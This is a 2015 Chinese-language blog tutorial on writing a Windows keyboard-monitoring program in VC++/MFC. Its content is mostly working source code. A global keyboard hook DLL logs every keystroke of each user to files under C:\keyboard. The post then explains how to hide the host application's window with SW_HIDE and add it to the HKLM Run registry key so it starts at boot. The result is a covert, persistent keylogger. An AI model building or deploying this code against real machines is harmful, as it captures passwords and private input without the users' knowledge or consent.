VC++开发Windows系统全局钩子

   本文的大部分内容属于对一篇网文的实践与练习,同时参考的还有一本书,在此向网文与书的作者表示敬意。

这个程序是一个windows系统键盘监控程序,随着开机自动启动,可以监控系统中各用户的键盘,并将按键记录写在指定的log文件里。

程序分为两个部分:全局钩子DLL和一个隐藏的单文档应用程序。

  • 全局钩子DLL

创建基于“MFC AppWizard(dll)”的“扩展MFC DLL(Extension MFC DLL)”类型工程KeyBoardHook

在自动生成的源文件KeyBoardHook.cpp中,

定义全局变量:

#pragma data_seg("publicdata")
HHOOK hhook = NULL;
HINSTANCE pinstance = NULL;
#pragma data_seg()

在DLL入口函数中,添加获取钩子实例句柄的代码:

extern "C" int APIENTRY
DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
    // Remove this if you use lpReserved
    UNREFERENCED_PARAMETER(lpReserved);

    if (dwReason == DLL_PROCESS_ATTACH)
    {
        TRACE0("KEYBOARDHOOK.DLL Initializing!\n");
        
        // Extension DLL one-time initialization
        if (!AfxInitExtensionModule(KeyBoardHookDLL, hInstance))
            return 0;

        new CDynLinkLibrary(KeyBoardHookDLL);
        pinstance = hInstance; //获取钩子实例句柄
    }
    else if (dwReason == DLL_PROCESS_DETACH)
    {
        TRACE0("KEYBOARDHOOK.DLL Terminating!\n");
        // Terminate the library before destructors are called
        AfxTermExtensionModule(KeyBoardHookDLL);
    }
    return 1;   // ok
}

全局钩子的具体实现代码:

//保存日志文件
extern "C" void SaveLog(char* c)
{
    //printf("刚才点击的是%c键/n", &c);
    //char buffer[80];
    //wsprintf(buffer, "c的值是%c", c);
    //AfxMessageBox(buffer);
    const int MAX_BUFFER_LEN = 500;  
    char  szBuffer[MAX_BUFFER_LEN];  
    DWORD dwNameLen;  
  
    dwNameLen = MAX_BUFFER_LEN;  
    GetUserName(szBuffer, &dwNameLen);

    CTime tm=CTime::GetCurrentTime();
    CString name;
    name.Format("c:\\keyboard\\Key_%s_%d_%d.log", szBuffer, tm.GetMonth(),tm.GetDay());
    CFile file;
    if(!file.Open(name,CFile::modeReadWrite))
    {
        file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
    }
    file.SeekToEnd();
    file.Write(c,1);
    file.Close();
}

//键盘钩子回调函数
extern "C" LRESULT CALLBACK KeyboardPro(int nCode , WPARAM wParam, LPARAM  lParam)
{
    LRESULT Result=CallNextHookEx(hhook,nCode,wParam,lParam);
//AfxMessageBox("huidiao");
    if(nCode == HC_ACTION){
        if(lParam & 0x80000000){
            char c[1];
            c[0]=wParam;
    //AfxMessageBox(c);
            SaveLog(c);
        }
    }

    return Result;
}

//安装钩子,即创建了钩子WH_KEYBOARD到钩子处理函数KeyboardPro()的链接
extern "C" bool WINAPI InstallHook()
{
//    AfxMessageBox("anzhuang");
    hhook = (HHOOK)SetWindowsHookEx( WH_KEYBOARD, KeyboardPro, pinstance, 0);
    if(hhook != NULL)
        return true;
    else
        return false;
}

用def文件导出DLL函数,在KeyBoardHook.def中添加:

EXPORTS
    ; Explicit exports can go here
    InstallHook        @1        //dll导出函数的名称为InstallHook,序号为1

至此,编译并运行,程序的DLL部分便完成了。

  • 负责调用DLL的单文档应用程序

创建一个MFC单文档应用程序工程KeyBoardHookApp,将刚才DLL工程中编译好的KeyBoardHook.dll和KeyBoardHook.lib拷贝到KeyBoardHookApp工程的Debug目录中。

设置连接文件:在 工程->设置->连接 的“对象/库模块 ”中填写KeyBoardHook.lib

在头文件KeyBoardHookApp.h中添加导出函数声明,以满足在此应用中调用DLL中的函数:

//安装钩子函数
extern "C" bool WINAPI InstallHook();

在视类KeyBoardHookAppView.cpp中重载虚函数OnInitialUpdate(),并添加代码完成对键盘钩子的安装:

具体操作可以利用VC++类向导自动生成代码:ctrl+w建立类向导,然后在class name中选择带...View的视类,选择类本身的Object ID,在Message中选择OnInitialUpdate,双击Member functions添加代码。

void CKeyBoardHookAppView::OnInitialUpdate() 
{
    CView::OnInitialUpdate();
    
    // TODO: Add your specialized code here and/or call the base class
    InstallHook();
}

最后,将本单文档应用程序的窗口进行隐藏,使之成为一个后台监控程序:

在KeyBoardHookApp.cpp的InitInstance()函数中将m_pMainWnd->ShowWindow(SW_SHOW)改为m_pMainWnd->ShowWindow(SW_HIDE)即可。

 

  • 设置本程序随开机自启动

使用bat批处理来制作安装和卸载

md C:\keyboard
@reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v KeyboardHook /t REG_SZ /d D:\keyboardhook\KeyBoardHookApp.exe
@reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v KeyboardHook /f

 

以管理员身份运行“安装.bat”  ,程序在系统重启后生效。日志文件放在C:\keyboard目录下。

 

参考:

《精通Windows程序设计——基于Visual C++实现》   人民邮电出版社

《利用键盘钩子捕获Windows键盘动作》    http://www.yesky.com/328/1890328.shtml

posted on 2015-05-19 17:00  肥兔子爱豆畜子  阅读(3429)  评论(0编辑  收藏  举报

导航